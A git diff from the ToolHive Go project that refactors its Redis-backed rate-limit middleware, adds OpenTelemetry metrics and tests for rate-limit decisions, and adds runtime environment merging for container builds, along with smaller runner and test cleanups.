+} + +func TestAllowRateLimitedReturnsTypedError(t *testing.T) { + t.Parallel() + + limiter := &dummyLimiter{ + decision: &Decision{ + Allowed: false, + RetryAfter: 3 * time.Second, + }, + } + + err := Allow(t.Context(), limiter, nil, "echo") + + var limited *RateLimitedError + require.ErrorAs(t, err, &limited) + assert.Equal(t, 3*time.Second, limited.RetryAfter) +} + +func TestAllowPropagatesLimiterError(t *testing.T) { + t.Parallel() + + expected := errors.New("redis unavailable") + limiter := &dummyLimiter{err: expected} + + err := Allow(t.Context(), limiter, nil, "echo") + + require.ErrorIs(t, err, expected) +} + func TestNewLimiter_ZeroMaxTokens(t *testing.T) { t.Parallel() client, _ := newTestClient(t) diff --git a/pkg/ratelimit/middleware.go b/pkg/ratelimit/middleware.go index 78d1a35e4c..c1a842ab4f 100644 --- a/pkg/ratelimit/middleware.go +++ b/pkg/ratelimit/middleware.go @@ -6,7 +6,9 @@ package ratelimit import ( "context" "encoding/json" + "errors" "fmt" + "io" "log/slog" "math" "net/http" @@ -25,13 +27,6 @@ const ( // MiddlewareType is the type constant for the rate limit middleware. MiddlewareType = "ratelimit" - // CodeRateLimited is the JSON-RPC error code for rate-limited requests. - // Per RFC THV-0057: implementation-defined code in the -32000 to -32099 range. - CodeRateLimited int64 = -32029 - - // MessageRateLimited is the JSON-RPC error message for rate-limited requests. - MessageRateLimited = "Rate limit exceeded" - // redisPasswordEnvVar is the environment variable containing the Redis password. // Shared with session storage — the operator injects it from the same Secret. redisPasswordEnvVar = "THV_SESSION_REDIS_PASSWORD" //nolint:gosec // G101: env var name, not a credential @@ -49,7 +44,7 @@ type MiddlewareParams struct { // rateLimitMiddleware wraps rate limiting functionality for the factory pattern. type rateLimitMiddleware struct { handler types.MiddlewareFunction - client redis.UniversalClient + closer io.Closer } // Handler returns the middleware function used by the proxy. @@ -59,16 +54,16 @@ func (m *rateLimitMiddleware) Handler() types.MiddlewareFunction { // Close cleans up the Redis client. func (m *rateLimitMiddleware) Close() error { - if m.client != nil { - return m.client.Close() + if m.closer != nil { + return m.closer.Close() } return nil } -// NewMiddleware creates a Redis-backed rate limit middleware from typed params. -func NewMiddleware(params MiddlewareParams) (types.Middleware, error) { +// NewRedisLimiter creates a Redis-backed rate limiter from typed params. +func NewRedisLimiter(params MiddlewareParams) (Limiter, io.Closer, error) { if params.RedisAddr == "" { - return nil, fmt.Errorf("rate limit middleware requires a Redis address") + return nil, nil, fmt.Errorf("rate limit middleware requires a Redis address") } // TODO: share a Redis client builder with session storage to get TLS, @@ -84,18 +79,28 @@ func NewMiddleware(params MiddlewareParams) (types.Middleware, error) { defer pingCancel() if err := client.Ping(pingCtx).Err(); err != nil { _ = client.Close() - return nil, fmt.Errorf("rate limit middleware: failed to connect to Redis at %s: %w", params.RedisAddr, err) + return nil, nil, fmt.Errorf("rate limit middleware: failed to connect to Redis at %s: %w", params.RedisAddr, err) } limiter, err := NewLimiter(client, params.Namespace, params.ServerName, params.Config) if err != nil { _ = client.Close() - return nil, fmt.Errorf("failed to create rate limiter: %w", err) + return nil, nil, fmt.Errorf("failed to create rate limiter: %w", err) + } + + return limiter, client, nil +} + +// NewMiddleware creates a Redis-backed rate limit middleware from typed params. +func NewMiddleware(params MiddlewareParams) (types.Middleware, error) { + limiter, closer, err := NewRedisLimiter(params) + if err != nil { + return nil, err } return &rateLimitMiddleware{ handler: rateLimitHandler(limiter), - client: client, + closer: closer, }, nil } @@ -128,23 +133,18 @@ func rateLimitHandler(limiter Limiter) types.MiddlewareFunction { return } - // When no identity is present (unauthenticated), userID stays empty - // and per-user buckets are skipped — only shared limits apply. CEL - // validation ensures perUser rate limits require auth to be enabled. - var userID string - if identity, ok := auth.IdentityFromContext(r.Context()); ok { - userID = identity.Subject + identity, _ := auth.IdentityFromContext(r.Context()) + err := Allow(r.Context(), limiter, identity, parsed.ResourceID) + var limited *RateLimitedError + if errors.As(err, &limited) { + writeRateLimited(w, parsed.ID, limited.RetryAfter) + return } - decision, err := limiter.Allow(r.Context(), parsed.ResourceID, userID) if err != nil { slog.Warn("rate limit check failed, allowing request", "error", err) next.ServeHTTP(w, r) return } - if !decision.Allowed { - writeRateLimited(w, parsed.ID, decision.RetryAfter) - return - } next.ServeHTTP(w, r) }) } diff --git a/pkg/ratelimit/observability.go b/pkg/ratelimit/observability.go new file mode 100644 index 0000000000..447ed64215 --- /dev/null +++ b/pkg/ratelimit/observability.go @@ -0,0 +1,175 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package ratelimit + +import ( + "context" + "errors" + "fmt" + "io" + "net" + "strings" + "time" + + "github.com/redis/go-redis/v9" + "go.opentelemetry.io/otel/attribute" + "go.opentelemetry.io/otel/metric" + + "github.com/stacklok/toolhive/pkg/telemetry" +) + +const ( + rateLimitInstrumentationName = "github.com/stacklok/toolhive/pkg/ratelimit" + + rateLimitDecisionAllowed = "allowed" + rateLimitDecisionRejected = "rejected" + + rateLimitScopeShared = "shared" + rateLimitScopePerUser = "per_user" + + rateLimitOperationServer = "server" + rateLimitOperationTool = "tool" + + redisErrorTypeTimeout = "timeout" + redisErrorTypeConnection = "connection" + redisErrorTypeAuth = "auth" + redisErrorTypeOther = "other" +) + +type rateLimitTelemetry struct { + namespace string + serverName string + + decisions metric.Int64Counter + redisErrors metric.Int64Counter + checkLatency metric.Float64Histogram +} + +func newRateLimitTelemetry( + meterProvider metric.MeterProvider, + namespace string, + serverName string, +) (*rateLimitTelemetry, error) { + if meterProvider == nil { + return nil, nil + } + + meter := meterProvider.Meter(rateLimitInstrumentationName) + + decisions, err := meter.Int64Counter( + "toolhive_rate_limit_decisions", + metric.WithDescription("Total number of rate limit bucket decisions"), + ) + if err != nil { + return nil, fmt.Errorf("create decision counter: %w", err) + } + + redisErrors, err := meter.Int64Counter( + "toolhive_rate_limit_redis_errors", + metric.WithDescription("Total number of Redis errors during rate limit checks"), + ) + if err != nil { + return nil, fmt.Errorf("create Redis error counter: %w", err) + } + + checkLatency, err := meter.Float64Histogram( + "toolhive_rate_limit_check_latency", + metric.WithDescription("Duration of Redis Lua rate limit checks in seconds"), + metric.WithUnit("s"), + metric.WithExplicitBucketBoundaries(telemetry.MCPHistogramBuckets...), + ) + if err != nil { + return nil, fmt.Errorf("create check latency histogram: %w", err) + } + + return &rateLimitTelemetry{ + namespace: namespace, + serverName: serverName, + decisions: decisions, + redisErrors: redisErrors, + checkLatency: checkLatency, + }, nil +} + +func (t *rateLimitTelemetry) recordAllowed(ctx context.Context, checks []limitCheck) { + if t == nil { + return + } + for _, check := range checks { + t.recordDecision(ctx, rateLimitDecisionAllowed, check) + } +} + +func (t *rateLimitTelemetry) recordRejected(ctx context.Context, check limitCheck) { + if t == nil { + return + } + t.recordDecision(ctx, rateLimitDecisionRejected, check) +} + +func (t *rateLimitTelemetry) recordDecision(ctx context.Context, decision string, check limitCheck) { + t.decisions.Add(ctx, 1, metric.WithAttributes( + attribute.String("namespace", t.namespace), + attribute.String("server", t.serverName), + attribute.String("decision", decision), + attribute.String("scope", check.scope), + attribute.String("operation_type", check.operationType), + )) +} + +func (t *rateLimitTelemetry) recordRedisError(ctx context.Context, err error) { + if t == nil { + return + } + t.redisErrors.Add(ctx, 1, metric.WithAttributes( + attribute.String("namespace", t.namespace), + attribute.String("server", t.serverName), + attribute.String("error_type", classifyRedisError(err)), + )) +} + +func (t *rateLimitTelemetry) recordCheckLatency(ctx context.Context, duration time.Duration) { + if t == nil { + return + } + t.checkLatency.Record(ctx, duration.Seconds(), metric.WithAttributes( + attribute.String("namespace", t.namespace), + attribute.String("server", t.serverName), + )) +} + +func classifyRedisError(err error) string { + if redis.IsAuthError(err) { + return redisErrorTypeAuth + } + + if errors.Is(err, context.DeadlineExceeded) || errors.Is(err, redis.ErrPoolTimeout) { + return redisErrorTypeTimeout + } + var netErr net.Error + if errors.As(err, &netErr) && netErr.Timeout() { + return redisErrorTypeTimeout + } + + if errors.Is(err, redis.ErrClosed) || + errors.Is(err, net.ErrClosed) || + errors.Is(err, io.EOF) || + errors.Is(err, io.ErrUnexpectedEOF) { + return redisErrorTypeConnection + } + var opErr *net.OpError + if errors.As(err, &opErr) { + return redisErrorTypeConnection + } + + message := strings.ToLower(err.Error()) + if strings.Contains(message, "connection refused") || + strings.Contains(message, "connection reset") || + strings.Contains(message, "broken pipe") || + strings.Contains(message, "no such host") { + return redisErrorTypeConnection + } + + return redisErrorTypeOther +} diff --git a/pkg/ratelimit/observability_test.go b/pkg/ratelimit/observability_test.go new file mode 100644 index 0000000000..8eb2ba58c8 --- /dev/null +++ b/pkg/ratelimit/observability_test.go @@ -0,0 +1,349 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package ratelimit + +import ( + "context" + "errors" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.opentelemetry.io/otel/attribute" + sdkmetric "go.opentelemetry.io/otel/sdk/metric" + "go.opentelemetry.io/otel/sdk/metric/metricdata" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + + v1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" +) + +func TestRateLimitMetrics_SharedDecisionsAndLatency(t *testing.T) { + t.Parallel() + client, _ := newTestClient(t) + reader, meterProvider := newRateLimitMeterProvider() + + limiter, err := newLimiter(client, "test-ns", "test-server", &v1beta1.RateLimitConfig{ + Shared: &v1beta1.RateLimitBucket{ + MaxTokens: 10, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + Tools: []v1beta1.ToolRateLimitConfig{ + { + Name: "search", + Shared: &v1beta1.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + }, + }, meterProvider) + require.NoError(t, err) + + first, err := limiter.Allow(t.Context(), "search", "") + require.NoError(t, err) + require.True(t, first.Allowed) + + second, err := limiter.Allow(t.Context(), "search", "") + require.NoError(t, err) + require.False(t, second.Allowed) + + metrics := collectRateLimitMetrics(t, reader) + decisions := requireRateLimitMetric(t, metrics, "toolhive_rate_limit_decisions") + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionAllowed, + "scope": rateLimitScopeShared, + "operation_type": rateLimitOperationServer, + })) + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionAllowed, + "scope": rateLimitScopeShared, + "operation_type": rateLimitOperationTool, + })) + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionRejected, + "scope": rateLimitScopeShared, + "operation_type": rateLimitOperationTool, + })) + + latency := requireRateLimitMetric(t, metrics, "toolhive_rate_limit_check_latency") + assert.Equal(t, uint64(2), histogramCountWithAttributes(t, latency, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + })) +} + +func TestRateLimitMetrics_PerUserDecisions(t *testing.T) { + t.Parallel() + client, _ := newTestClient(t) + reader, meterProvider := newRateLimitMeterProvider() + + limiter, err := newLimiter(client, "test-ns", "test-server", &v1beta1.RateLimitConfig{ + PerUser: &v1beta1.RateLimitBucket{ + MaxTokens: 10, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + Tools: []v1beta1.ToolRateLimitConfig{ + { + Name: "search", + PerUser: &v1beta1.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + }, + }, meterProvider) + require.NoError(t, err) + + first, err := limiter.Allow(t.Context(), "search", "alice") + require.NoError(t, err) + require.True(t, first.Allowed) + + second, err := limiter.Allow(t.Context(), "search", "alice") + require.NoError(t, err) + require.False(t, second.Allowed) + + metrics := collectRateLimitMetrics(t, reader) + decisions := requireRateLimitMetric(t, metrics, "toolhive_rate_limit_decisions") + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionAllowed, + "scope": rateLimitScopePerUser, + "operation_type": rateLimitOperationServer, + })) + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionAllowed, + "scope": rateLimitScopePerUser, + "operation_type": rateLimitOperationTool, + })) + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionRejected, + "scope": rateLimitScopePerUser, + "operation_type": rateLimitOperationTool, + })) +} + +func TestRateLimitMetrics_RedisErrorAndFailedLatency(t *testing.T) { + t.Parallel() + client, redisServer := newTestClient(t) + reader, meterProvider := newRateLimitMeterProvider() + + limiter, err := newLimiter(client, "test-ns", "test-server", &v1beta1.RateLimitConfig{ + Shared: &v1beta1.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, meterProvider) + require.NoError(t, err) + + redisServer.Close() + _, err = limiter.Allow(t.Context(), "", "") + require.Error(t, err) + + metrics := collectRateLimitMetrics(t, reader) + redisErrors := requireRateLimitMetric(t, metrics, "toolhive_rate_limit_redis_errors") + assert.Equal(t, int64(1), counterValueWithAttributes(t, redisErrors, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "error_type": redisErrorTypeConnection, + })) + + latency := requireRateLimitMetric(t, metrics, "toolhive_rate_limit_check_latency") + assert.Equal(t, uint64(1), histogramCountWithAttributes(t, latency, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + })) + assert.Nil(t, findRateLimitMetric(metrics, "toolhive_rate_limit_decisions")) +} + +func TestRateLimitMetrics_NoApplicableBucketRecordsNothing(t *testing.T) { + t.Parallel() + client, _ := newTestClient(t) + reader, meterProvider := newRateLimitMeterProvider() + + limiter, err := newLimiter(client, "test-ns", "test-server", &v1beta1.RateLimitConfig{ + Tools: []v1beta1.ToolRateLimitConfig{ + { + Name: "search", + Shared: &v1beta1.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + }, + }, meterProvider) + require.NoError(t, err) + + decision, err := limiter.Allow(t.Context(), "other-tool", "") + require.NoError(t, err) + require.True(t, decision.Allowed) + + metrics := collectRateLimitMetrics(t, reader) + assert.Empty(t, metrics.ScopeMetrics) +} + +func TestRateLimitMetrics_NilMeterProviderIsNoOp(t *testing.T) { + t.Parallel() + client, _ := newTestClient(t) + + limiter, err := newLimiter(client, "test-ns", "test-server", &v1beta1.RateLimitConfig{ + Shared: &v1beta1.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, nil) + require.NoError(t, err) + + decision, err := limiter.Allow(t.Context(), "", "") + require.NoError(t, err) + assert.True(t, decision.Allowed) +} + +func TestClassifyRedisError(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + err error + want string + }{ + { + name: "deadline exceeded", + err: context.DeadlineExceeded, + want: redisErrorTypeTimeout, + }, + { + name: "authentication", + err: errors.New("NOAUTH Authentication required"), + want: redisErrorTypeAuth, + }, + { + name: "connection refused", + err: errors.New("dial tcp 127.0.0.1:6379: connection refused"), + want: redisErrorTypeConnection, + }, + { + name: "other", + err: errors.New("ERR script failed"), + want: redisErrorTypeOther, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + assert.Equal(t, tt.want, classifyRedisError(tt.err)) + }) + } +} + +func TestRateLimitMetricNamesUseToolHivePrefix(t *testing.T) { + t.Parallel() + reader, meterProvider := newRateLimitMeterProvider() + + telemetry, err := newRateLimitTelemetry(meterProvider, "test-ns", "test-server") + require.NoError(t, err) + telemetry.recordRejected(t.Context(), limitCheck{ + scope: rateLimitScopeShared, + operationType: rateLimitOperationServer, + }) + telemetry.recordRedisError(t.Context(), errors.New("ERR script failed")) + telemetry.recordCheckLatency(t.Context(), time.Millisecond) + + metrics := collectRateLimitMetrics(t, reader) + require.NotEmpty(t, metrics.ScopeMetrics) + for _, scopeMetrics := range metrics.ScopeMetrics { + for _, measured := range scopeMetrics.Metrics { + assert.True(t, strings.HasPrefix(measured.Name, "toolhive_"), measured.Name) + } + } +} + +func newRateLimitMeterProvider() (*sdkmetric.ManualReader, *sdkmetric.MeterProvider) { + reader := sdkmetric.NewManualReader() + return reader, sdkmetric.NewMeterProvider(sdkmetric.WithReader(reader)) +} + +func collectRateLimitMetrics(t *testing.T, reader *sdkmetric.ManualReader) metricdata.ResourceMetrics { + t.Helper() + var metrics metricdata.ResourceMetrics + require.NoError(t, reader.Collect(context.Background(), &metrics)) + return metrics +} + +func findRateLimitMetric(metrics metricdata.ResourceMetrics, name string) *metricdata.Metrics { + for _, scopeMetrics := range metrics.ScopeMetrics { + for i := range scopeMetrics.Metrics { + if scopeMetrics.Metrics[i].Name == name { + return &scopeMetrics.Metrics[i] + } + } + } + return nil +} + +func requireRateLimitMetric( + t *testing.T, + metrics metricdata.ResourceMetrics, + name string, +) *metricdata.Metrics { + t.Helper() + measured := findRateLimitMetric(metrics, name) + require.NotNil(t, measured, "metric %q not found", name) + return measured +} + +func counterValueWithAttributes( + t *testing.T, + measured *metricdata.Metrics, + want map[string]string, +) int64 { + t.Helper() + sum, ok := measured.Data.(metricdata.Sum[int64]) + require.True(t, ok, "metric %q is not an int64 sum", measured.Name) + for _, point := range sum.DataPoints { + if attributesMatch(point.Attributes, want) { + return point.Value + } + } + return 0 +} + +func histogramCountWithAttributes( + t *testing.T, + measured *metricdata.Metrics, + want map[string]string, +) uint64 { + t.Helper() + histogram, ok := measured.Data.(metricdata.Histogram[float64]) + require.True(t, ok, "metric %q is not a float64 histogram", measured.Name) + for _, point := range histogram.DataPoints { + if attributesMatch(point.Attributes, want) { + return point.Count + } + } + return 0 +} + +func attributesMatch(attributes attribute.Set, want map[string]string) bool { + for key, wantValue := range want { + value, ok := attributes.Value(attribute.Key(key)) + if !ok || value.AsString() != wantValue { + return false + } + } + return true +} diff --git a/pkg/runner/config.go b/pkg/runner/config.go index f383215db2..62a3ffd94f 100644 --- a/pkg/runner/config.go +++ b/pkg/runner/config.go @@ -200,6 +200,8 @@ type RunConfig struct { // (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are // blocked by default in the egress proxy even when InsecureAllowAll is set. // Only applicable to Docker deployments with network isolation enabled. + // Gateway access is port-independent: it ignores the permission profile's + // allowed ports, so once enabled the gateway is reachable on any port. AllowDockerGateway bool `json:"allow_docker_gateway,omitempty" yaml:"allow_docker_gateway,omitempty"` // TrustProxyHeaders indicates whether to trust X-Forwarded-* headers from reverse proxies diff --git a/pkg/runner/middleware.go b/pkg/runner/middleware.go index 96fbe1e529..1debe3fe87 100644 --- a/pkg/runner/middleware.go +++ b/pkg/runner/middleware.go @@ -437,13 +437,14 @@ func addUpstreamSwapMiddleware( // Derive ProviderName from the upstream config if not explicitly set if upstreamSwapConfig.ProviderName == "" { - upstreamSwapConfig.ProviderName = func() string { - if cfg := config.EmbeddedAuthServerConfig; cfg != nil && - len(cfg.Upstreams) > 0 { - return authserver.ResolveUpstreamName(cfg.Upstreams[0].Name) + var names []string + if embeddedCfg := config.EmbeddedAuthServerConfig; embeddedCfg != nil { + names = make([]string, len(embeddedCfg.Upstreams)) + for i, u := range embeddedCfg.Upstreams { + names[i] = u.Name } - return authserver.DefaultUpstreamName - }() + } + upstreamSwapConfig.ProviderName = authserver.ResolveFirstUpstreamName(names) } upstreamSwapParams := upstreamswap.MiddlewareParams{ @@ -472,14 +473,11 @@ func injectUpstreamProviderIfNeeded( return authzCfg, nil } - // Derive the provider name the same way addUpstreamSwapMiddleware does, - // delegating normalisation (empty-string → "default") to ResolveUpstreamName. - providerName := func() string { - if len(embeddedCfg.Upstreams) > 0 { - return authserver.ResolveUpstreamName(embeddedCfg.Upstreams[0].Name) - } - return authserver.DefaultUpstreamName - }() + names := make([]string, len(embeddedCfg.Upstreams)) + for i, u := range embeddedCfg.Upstreams { + names[i] = u.Name + } + providerName := authserver.ResolveFirstUpstreamName(names) return cedar.InjectUpstreamProvider(authzCfg, providerName) } diff --git a/pkg/runner/protocol.go b/pkg/runner/protocol.go index 4b5b150db9..6f381f3d22 100644 --- a/pkg/runner/protocol.go +++ b/pkg/runner/protocol.go @@ -7,6 +7,7 @@ import ( "context" "fmt" "log/slog" + "maps" "os" "path/filepath" "strings" @@ -214,6 +215,20 @@ func mergeRuntimeConfig(transportType templates.TransportType, override *templat } } + merged.RuntimeEnv = mergeEnvMaps(defaults.RuntimeEnv, override.RuntimeEnv) + + return merged +} + +// mergeEnvMaps merges two environment variable maps without mutating either +// input. Entries in override take precedence over entries in base. +func mergeEnvMaps(base, override map[string]string) map[string]string { + if len(base) == 0 && len(override) == 0 { + return nil + } + merged := make(map[string]string, len(base)+len(override)) + maps.Copy(merged, base) + maps.Copy(merged, override) return merged } diff --git a/pkg/runner/protocol_test.go b/pkg/runner/protocol_test.go index 56870200ea..d9bb55d100 100644 --- a/pkg/runner/protocol_test.go +++ b/pkg/runner/protocol_test.go @@ -5,6 +5,7 @@ package runner import ( "context" + "reflect" "strings" "testing" @@ -245,12 +246,13 @@ func TestTemplateDataWithLocalPath(t *testing.T) { func TestBuildFromProtocolSchemeWithNameDryRun(t *testing.T) { t.Parallel() tests := []struct { - name string - serverOrImage string - caCertPath string - buildArgs []string - wantContains []string - wantErr bool + name string + serverOrImage string + caCertPath string + buildArgs []string + runtimeOverride *templates.RuntimeConfig + wantContains []string + wantErr bool }{ { name: "NPX with buildArgs in dry-run", @@ -290,6 +292,22 @@ func TestBuildFromProtocolSchemeWithNameDryRun(t *testing.T) { buildArgs: []string{"start"}, wantErr: true, }, + { + // Motivating case: the Okta MCP server needs a non-default keyring + // backend baked into the runtime image since the default backend + // requires a desktop session that isn't available in a container. + name: "UVX with RuntimeEnv override in dry-run (Okta case)", + serverOrImage: "uvx://okta-mcp-server@1.1.3", + runtimeOverride: &templates.RuntimeConfig{ + RuntimeEnv: map[string]string{ + "PYTHON_KEYRING_BACKEND": "keyrings.alt.file.PlaintextKeyring", + }, + }, + wantContains: []string{ + `ENV PYTHON_KEYRING_BACKEND="keyrings.alt.file.PlaintextKeyring"`, + }, + wantErr: false, + }, } for _, tt := range tests { @@ -299,7 +317,7 @@ func TestBuildFromProtocolSchemeWithNameDryRun(t *testing.T) { // Call BuildFromProtocolSchemeWithName with dry-run=true dockerfileContent, err := BuildFromProtocolSchemeWithName( - ctx, nil, tt.serverOrImage, tt.caCertPath, "", tt.buildArgs, nil, true) + ctx, nil, tt.serverOrImage, tt.caCertPath, "", tt.buildArgs, tt.runtimeOverride, true) if (err != nil) != tt.wantErr { t.Errorf("BuildFromProtocolSchemeWithName() error = %v, wantErr %v", err, tt.wantErr) @@ -320,11 +338,12 @@ func TestBuildFromProtocolSchemeWithNameDryRun(t *testing.T) { func TestMergeRuntimeConfig(t *testing.T) { t.Parallel() tests := []struct { - name string - transport templates.TransportType - override *templates.RuntimeConfig - wantImage string - wantPackages []string + name string + transport templates.TransportType + override *templates.RuntimeConfig + wantImage string + wantPackages []string + wantRuntimeEnv map[string]string }{ { name: "only packages override, no image — image falls back to default", @@ -333,8 +352,9 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "", AdditionalPackages: []string{"curl"}, }, - wantImage: "node:24-alpine", - wantPackages: []string{"git", "ca-certificates", "curl"}, + wantImage: "node:24-alpine", + wantPackages: []string{"git", "ca-certificates", "curl"}, + wantRuntimeEnv: nil, }, { name: "both image and packages override — image from override, packages merged", @@ -343,8 +363,9 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "node:20-alpine", AdditionalPackages: []string{"curl"}, }, - wantImage: "node:20-alpine", - wantPackages: []string{"git", "ca-certificates", "curl"}, + wantImage: "node:20-alpine", + wantPackages: []string{"git", "ca-certificates", "curl"}, + wantRuntimeEnv: nil, }, { name: "duplicate package in override — not added twice", @@ -353,8 +374,9 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "", AdditionalPackages: []string{"git"}, }, - wantImage: "node:24-alpine", - wantPackages: []string{"git", "ca-certificates"}, + wantImage: "node:24-alpine", + wantPackages: []string{"git", "ca-certificates"}, + wantRuntimeEnv: nil, }, { name: "empty override — all defaults", @@ -363,8 +385,9 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "", AdditionalPackages: nil, }, - wantImage: "node:24-alpine", - wantPackages: []string{"git", "ca-certificates"}, + wantImage: "node:24-alpine", + wantPackages: []string{"git", "ca-certificates"}, + wantRuntimeEnv: nil, }, { name: "go transport — defaults apply", @@ -373,8 +396,9 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "", AdditionalPackages: []string{"make"}, }, - wantImage: "golang:1.26-alpine", - wantPackages: []string{"ca-certificates", "git", "make"}, + wantImage: "golang:1.26-alpine", + wantPackages: []string{"ca-certificates", "git", "make"}, + wantRuntimeEnv: nil, }, { name: "uvx transport — defaults apply", @@ -383,8 +407,29 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "", AdditionalPackages: []string{"curl"}, }, - wantImage: "python:3.14-slim", - wantPackages: []string{"ca-certificates", "git", "curl"}, + wantImage: "python:3.14-slim", + wantPackages: []string{"ca-certificates", "git", "curl"}, + wantRuntimeEnv: nil, + }, + { + name: "override sets RuntimeEnv — passes through", + transport: templates.TransportTypeNPX, + override: &templates.RuntimeConfig{ + RuntimeEnv: map[string]string{"NODE_ENV": "production"}, + }, + wantImage: "node:24-alpine", + wantPackages: []string{"git", "ca-certificates"}, + wantRuntimeEnv: map[string]string{"NODE_ENV": "production"}, + }, + { + name: "override RuntimeEnv nil — result nil since defaults never set RuntimeEnv", + transport: templates.TransportTypeNPX, + override: &templates.RuntimeConfig{ + RuntimeEnv: nil, + }, + wantImage: "node:24-alpine", + wantPackages: []string{"git", "ca-certificates"}, + wantRuntimeEnv: nil, }, } @@ -405,10 +450,75 @@ func TestMergeRuntimeConfig(t *testing.T) { } } } + if !reflect.DeepEqual(got.RuntimeEnv, tt.wantRuntimeEnv) { + t.Errorf("RuntimeEnv = %v, want %v", got.RuntimeEnv, tt.wantRuntimeEnv) + } + }) + } +} + +func TestMergeEnvMaps(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + base map[string]string + override map[string]string + want map[string]string + }{ + { + name: "both nil", + base: nil, + override: nil, + want: nil, + }, + { + name: "base only", + base: map[string]string{"FOO": "bar"}, + override: nil, + want: map[string]string{"FOO": "bar"}, + }, + { + name: "override only", + base: nil, + override: map[string]string{"FOO": "bar"}, + want: map[string]string{"FOO": "bar"}, + }, + { + name: "override wins on shared key", + base: map[string]string{"FOO": "base-value", "BAR": "base-bar"}, + override: map[string]string{"FOO": "override-value"}, + want: map[string]string{"FOO": "override-value", "BAR": "base-bar"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + got := mergeEnvMaps(tt.base, tt.override) + assert.Equal(t, tt.want, got) }) } } +func TestMergeEnvMapsDoesNotMutateInputs(t *testing.T) { + t.Parallel() + + base := map[string]string{"FOO": "base-value"} + override := map[string]string{"BAR": "override-value"} + + got := mergeEnvMaps(base, override) + require.NotNil(t, got) + + // Mutate the returned map and confirm neither input map is affected. + got["FOO"] = "mutated" + got["BAZ"] = "new" + + assert.Equal(t, map[string]string{"FOO": "base-value"}, base) + assert.Equal(t, map[string]string{"BAR": "override-value"}, override) +} + func TestLoadRuntimeConfigMergesOverrideWithDefaults(t *testing.T) { t.Parallel() diff --git a/pkg/runner/proxy_env_test.go b/pkg/runner/proxy_env_test.go index f7fee95f87..ca9ab04273 100644 --- a/pkg/runner/proxy_env_test.go +++ b/pkg/runner/proxy_env_test.go @@ -15,8 +15,12 @@ import ( func TestApplyProxyProcessEnv(t *testing.T) { t.Run("mirrors proxy session ttl from workload env vars", func(t *testing.T) { + // t.Setenv restores the previous values on cleanup; Unsetenv then + // removes the variables for the duration of the subtest. + t.Setenv(transportsession.ProxySessionTTLEnvVar, "") + t.Setenv("SOME_WORKLOAD_ONLY_VAR", "") require.NoError(t, os.Unsetenv(transportsession.ProxySessionTTLEnvVar)) - t.Cleanup(func() { _ = os.Unsetenv(transportsession.ProxySessionTTLEnvVar) }) + require.NoError(t, os.Unsetenv("SOME_WORKLOAD_ONLY_VAR")) applyProxyProcessEnv(map[string]string{ transportsession.ProxySessionTTLEnvVar: "24h", @@ -38,6 +42,7 @@ func TestApplyProxyProcessEnv(t *testing.T) { }) t.Run("ignores empty values and nil maps", func(t *testing.T) { + t.Setenv("TOOLHIVE_HEALTH_CHECK_FAILURE_THRESHOLD", "") require.NoError(t, os.Unsetenv("TOOLHIVE_HEALTH_CHECK_FAILURE_THRESHOLD")) applyProxyProcessEnv(nil) diff --git a/pkg/skills/gitresolver/resolver.go b/pkg/skills/gitresolver/resolver.go index deb1d58f7c..aaacd13b33 100644 --- a/pkg/skills/gitresolver/resolver.go +++ b/pkg/skills/gitresolver/resolver.go @@ -20,8 +20,10 @@ import ( "github.com/stacklok/toolhive/pkg/skills" ) -// cloneTimeout is the maximum time allowed for cloning a git repository. -const cloneTimeout = 2 * time.Minute +// CloneTimeout is the maximum time allowed for cloning a git repository. +// Exported so callers (e.g. pluginsvc.installFromGit) can reuse the same +// timeout without duplicating the constant. +const CloneTimeout = 2 * time.Minute // semverLike matches refs that look like semantic version tags (v1.0, v1.2.3, v1.2.3-rc1, etc.). // Requires at least one dot-separated numeric segment after the major version to avoid matching @@ -78,12 +80,14 